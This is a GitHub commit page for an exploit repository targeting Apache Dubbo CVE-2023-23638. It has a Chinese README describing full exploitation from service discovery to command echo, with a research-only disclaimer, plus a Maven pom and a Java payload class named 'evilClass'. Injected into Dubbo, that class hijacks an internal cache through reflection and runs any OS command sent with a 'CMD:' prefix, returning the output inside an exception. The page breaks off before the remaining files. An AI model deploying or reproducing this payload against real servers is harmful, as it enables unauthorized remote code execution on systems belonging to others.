-
Notifications
You must be signed in to change notification settings - Fork 31
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit e445e79
Showing
6 changed files
with
581 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Apache-Dubbo-CVE-2023-23638-exp | ||
Apache Dubbo (CVE-2023-23638)漏洞利用的工程化实践,覆盖Dubbo 3.x 从服务发现到漏洞利用及回显的过程。本工具仅供研究和学习,欢迎各位师傅前来探讨和提出宝贵的建议。 | ||
|
||
# 工具说明 | ||
|
||
本工具支持CVE-2023-23638在Dubbo 3.x的完整利用,覆盖服务发现到漏洞利用及回显。在Dubbo 2.x版本也可以利用,需要自行传入服务名、方法名等。针对这个漏洞我写了两篇分析文章: | ||
1. 漏洞利用:https://xz.aliyun.com/t/12396 | ||
2. 漏洞回显:https://forum.butian.net/share/2277 | ||
|
||
本工具仅作学习使用,未考虑诸多实战中的问题,例如: | ||
1. 自定义服务名、方法名利用 | ||
2. 字节码java编译的版本问题 | ||
后续可能会继续更新。 | ||
|
||
感谢y4tacker师傅分享的fastjson原生反序列化思路 | ||
|
||
# 工具截图 | ||
1. 注入字节码 | ||
|
||
![image](https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/assets/28374935/2cc2c6e4-9a3d-403c-ae2a-c49212e383a0) | ||
|
||
2. 命令执行 | ||
|
||
![image](https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/assets/28374935/3cb51d26-b129-437e-8fcb-29991c16c074) | ||
|
||
|
||
# 免责声明 | ||
本工具仅漏洞研究和学习,如您需要测试本工具的可用性,请自行搭建靶机环境。 | ||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 | ||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 | ||
|
||
# 参考文档 | ||
|
||
1. https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ | ||
2. https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<groupId>org.example</groupId> | ||
<artifactId>CVE-2023-23638_echo</artifactId> | ||
<version>1.0-SNAPSHOT</version> | ||
|
||
<properties> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
<dubbo.version>3.1.5</dubbo.version> | ||
</properties> | ||
<dependencies> | ||
<dependency> | ||
<groupId>org.apache.dubbo</groupId> | ||
<artifactId>dubbo</artifactId> | ||
<version>${dubbo.version}</version> | ||
</dependency> | ||
</dependencies> | ||
|
||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,200 @@ | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.DOM; | ||
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | ||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | ||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | ||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | ||
import org.apache.dubbo.common.utils.PojoUtils; | ||
|
||
|
||
import java.io.BufferedReader; | ||
import java.io.InputStream; | ||
import java.io.InputStreamReader; | ||
import java.lang.reflect.Field; | ||
import java.lang.reflect.Modifier; | ||
import java.nio.charset.Charset; | ||
import java.util.Collection; | ||
import java.util.HashMap; | ||
import java.util.Map; | ||
import java.util.Set; | ||
import java.util.concurrent.ConcurrentMap; | ||
import java.util.function.BiConsumer; | ||
import java.util.function.BiFunction; | ||
import java.util.function.Function; | ||
|
||
public class evilClass extends AbstractTranslet implements ConcurrentMap { | ||
private HashMap m = new HashMap(); | ||
public static final String CMD_PREFIX = "CMD:"; | ||
public static final String CMD_SPLIT = "@cmdEcho@"; | ||
@Override | ||
public Object getOrDefault(Object key, Object defaultValue) { | ||
return m.getOrDefault(key,defaultValue); | ||
} | ||
|
||
@Override | ||
public void forEach(BiConsumer action) { | ||
m.forEach(action); | ||
} | ||
|
||
@Override | ||
public void replaceAll(BiFunction function) { | ||
m.replaceAll(function); | ||
} | ||
|
||
@Override | ||
public Object putIfAbsent(Object key, Object value) { | ||
return m.putIfAbsent(key,value); | ||
} | ||
|
||
@Override | ||
public boolean remove(Object key, Object value) { | ||
return m.remove(key,value); | ||
} | ||
|
||
@Override | ||
public boolean replace(Object key, Object oldValue, Object newValue) { | ||
return m.replace(key,oldValue,newValue); | ||
} | ||
|
||
@Override | ||
public Object replace(Object key, Object value) { | ||
return m.replace(key,value); | ||
} | ||
|
||
@Override | ||
public Object computeIfAbsent(Object key, Function mappingFunction) { | ||
return m.computeIfAbsent(key,mappingFunction); | ||
} | ||
|
||
@Override | ||
public Object computeIfPresent(Object key, BiFunction remappingFunction) { | ||
return m.computeIfPresent(key,remappingFunction); | ||
} | ||
|
||
@Override | ||
public Object compute(Object key, BiFunction remappingFunction) { | ||
return compute(key,remappingFunction); | ||
} | ||
|
||
@Override | ||
public Object merge(Object key, Object value, BiFunction remappingFunction) { | ||
return m.merge(key,value,remappingFunction); | ||
} | ||
|
||
@Override | ||
public int size() { | ||
return m.size(); | ||
} | ||
|
||
@Override | ||
public boolean isEmpty() { | ||
return m.isEmpty(); | ||
} | ||
|
||
@Override | ||
public boolean containsKey(Object key) { | ||
StringBuffer b = new StringBuffer(); | ||
if( key.toString().startsWith(CMD_PREFIX)) { | ||
b.append(CMD_SPLIT); | ||
try{ | ||
Process p = Runtime.getRuntime().exec(key.toString().substring(5).split(" ")); | ||
InputStream fis = p.getInputStream(); | ||
InputStreamReader isr; | ||
if (key.toString().substring(4,5).equals("g")) { | ||
isr = new InputStreamReader(fis,Charset.forName("GBK")); | ||
}else { | ||
isr = new InputStreamReader(fis); | ||
} | ||
BufferedReader br = new BufferedReader(isr); | ||
String line = null; | ||
while((line = br.readLine()) != null) { | ||
b.append(line+"\n"); | ||
} | ||
}catch (Exception e){ | ||
|
||
} | ||
b.append(CMD_SPLIT); | ||
throw new IllegalArgumentException(b.toString()); | ||
} | ||
return m.containsKey(key); | ||
} | ||
|
||
@Override | ||
public boolean containsValue(Object value) { | ||
return m.containsValue(value); | ||
} | ||
|
||
@Override | ||
public Object get(Object key) { | ||
|
||
return m.get(key); | ||
} | ||
|
||
@Override | ||
public Object put(Object key, Object value) { | ||
return m.put(key,value); | ||
} | ||
|
||
@Override | ||
public Object remove(Object key) { | ||
return m.remove(key); | ||
} | ||
|
||
@Override | ||
public void putAll(Map ma) { | ||
m.putAll(m); | ||
|
||
} | ||
|
||
@Override | ||
public void clear() { | ||
m.clear(); | ||
|
||
} | ||
|
||
@Override | ||
public Set keySet() { | ||
return m.keySet(); | ||
} | ||
|
||
@Override | ||
public Collection values() { | ||
return m.values(); | ||
} | ||
|
||
@Override | ||
public Set<Entry> entrySet() { | ||
return m.entrySet(); | ||
} | ||
|
||
@Override | ||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | ||
|
||
} | ||
|
||
@Override | ||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | ||
|
||
} | ||
|
||
public evilClass(String a) throws Exception{ | ||
|
||
} | ||
public evilClass() throws Exception{ | ||
try { | ||
addClass(); | ||
}catch (Exception e){ | ||
e.printStackTrace(); | ||
} | ||
} | ||
public static void addClass() throws Exception{ | ||
Field mo = Field.class.getDeclaredField("modifiers"); | ||
mo.setAccessible(true); | ||
Field field = PojoUtils.class.getDeclaredField("CLASS_NOT_FOUND_CACHE"); | ||
field.setAccessible(true); | ||
mo.setInt(field,field.getModifiers()&~Modifier.FINAL); | ||
field.set(null,new evilClass("")); | ||
System.out.println("add success"); | ||
} | ||
|
||
} |
Oops, something went wrong.